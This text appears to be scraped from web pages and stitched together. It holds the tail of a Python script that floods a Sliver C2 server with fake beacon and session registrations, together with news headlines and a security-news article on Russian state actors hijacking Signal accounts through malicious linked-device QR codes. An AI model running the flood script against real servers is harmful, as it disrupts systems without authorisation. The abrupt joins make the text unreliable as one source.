  json\_format.Parse(json.dumps(junk\_register(junk\_sz)),reg.Register)
  envelope \= sliver.Envelope()
  envelope.Type \= msgs.index('BeaconRegister')
  envelope.Data \= reg.SerializeToString()
  send\_envelope(envelope,ip,port)

description \= '''
Flood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.
'''

if \_\_name\_\_ \== '\_\_main\_\_':
  register\_session(sys.argv\[1\], int(sys.argv\[2\]))

**References**

*   GHSA-fh4v-v779-4g2w
*   BishopFox/sliver@0f340a2

GHSA-fh4v-v779-4g2w: SSRF in sliver teamserver

There is no excerpt because this is a protected post.

February 19, 2025 - Malwarebytes now protects ARM-based Windows devices, such as Microsoft’s Surface Pro X and Lenovo’s Yoga laptops.

February 19, 2025 - Google is allowing its advertizing customers to fingerprint website visitors. Can you stop it?

February 19, 2025 - Info stealers are thriving on Mac, with one specific variant accounting for 70% of all info stealer detections at the end of 2024.

February 18, 2025 - A flea market buyer found medical information about hundreds of patients on second hand decommissioned hard drives.

February 17, 2025 - A list of topics we covered in the week of February 10 to February 16 of 2025

 Protected: zQA Content Editing Styles 

Is your Signal, WhatsApp, or Telegram account safe? Google warns of increasing attacks by Russian state-backed groups. Learn…

Is your Signal, WhatsApp, or Telegram account safe? Google warns of increasing attacks by Russian state-backed groups. Learn how they’re stealing messages and what you can do to defend yourself.

Russian state-backed actors are increasingly targeting secure messaging applications like Signal to intercept sensitive communications, reveals a recent report by Google’s Threat Intelligence Group. These groups, often aligned with Russian intelligence services, are focusing on compromising accounts used by individuals of interest, including military personnel, politicians, journalists, and activists. While the initial focus appears to be related to the conflict in Ukraine, researchers believe that these tactics will spread to other regions and threat actors.  

A primary method employed by these actors in this campaign involves exploiting the “linked devices” feature of Signal. By using phishing techniques, they trick users into scanning malicious QR codes, which then secretly link the victim’s account to a device controlled by the attacker. This allows the attacker to receive all messages in real-time, effectively eavesdropping on conversations without needing to compromise the entire device.

These malicious QR codes are often disguised as legitimate Signal resources, such as group invites, security alerts, or even device pairing instructions. In some cases, they are incorporated into phishing pages designed to mimic specialized applications, such as those used by the Ukrainian military.

The screenshot shows a Signal app phishing site and one of the malicious QR codes used in the attack (via Google).

In some cases, malicious QR codes are used in close-access scenarios, such as when Russian military forces capture devices on the battlefield.  This method lacks centralized monitoring and can go unnoticed for extended periods, which makes it hard to detect.

One group, identified as UNC5792 (also known as UAC-0195), has been observed modifying legitimate Signal group invite links. These altered links redirect victims to fake pages that initiate the unauthorized linking of their devices to the attacker’s control. The phishing pages are designed to closely resemble official Signal invites, making detection challenging. 

Another group, UNC4221 (UAC-0185), has targeted Ukrainian military personnel by embedding malicious QR codes within phishing sites that mimic artillery guidance applications. They have also used fake Signal security alerts to deceive victims. 

Beyond phishing, APT44 (Sandworm) utilizes malware and scripts to extract Signal messages from compromised Windows and Android devices. Their WAVESIGN script retrieves recent messages, while Infamous Chisel malware searches for Signal database files on Android devices.  

Other groups, like Turla and UNC1151, target the desktop application, using scripts and tools to copy and exfiltrate stored messages. UNC4221 has also used a JavaScript payload called PINPOINT to gather user information and geolocation data.

The popularity of secure messaging apps makes them prime targets for adversaries and other platforms, such as WhatsApp and Telegram, are also facing similar threats.

“The operational emphasis on Signal from multiple threat actors in recent months serves as an important warning for the growing threat to secure messaging applications that is certain to intensify in the near-term,” researchers warned.

Therefore, users are advised to stay cautious. It is important to use strong screen locks with complex passwords, keep operating systems and apps updated, and ensure Google Play Protect is enabled. Regularly auditing linked devices, exercising caution with QR codes and links, and enabling two-factor authentication are also recommended. iPhone users at high risk should consider enabling Lockdown Mode.

Tag

#google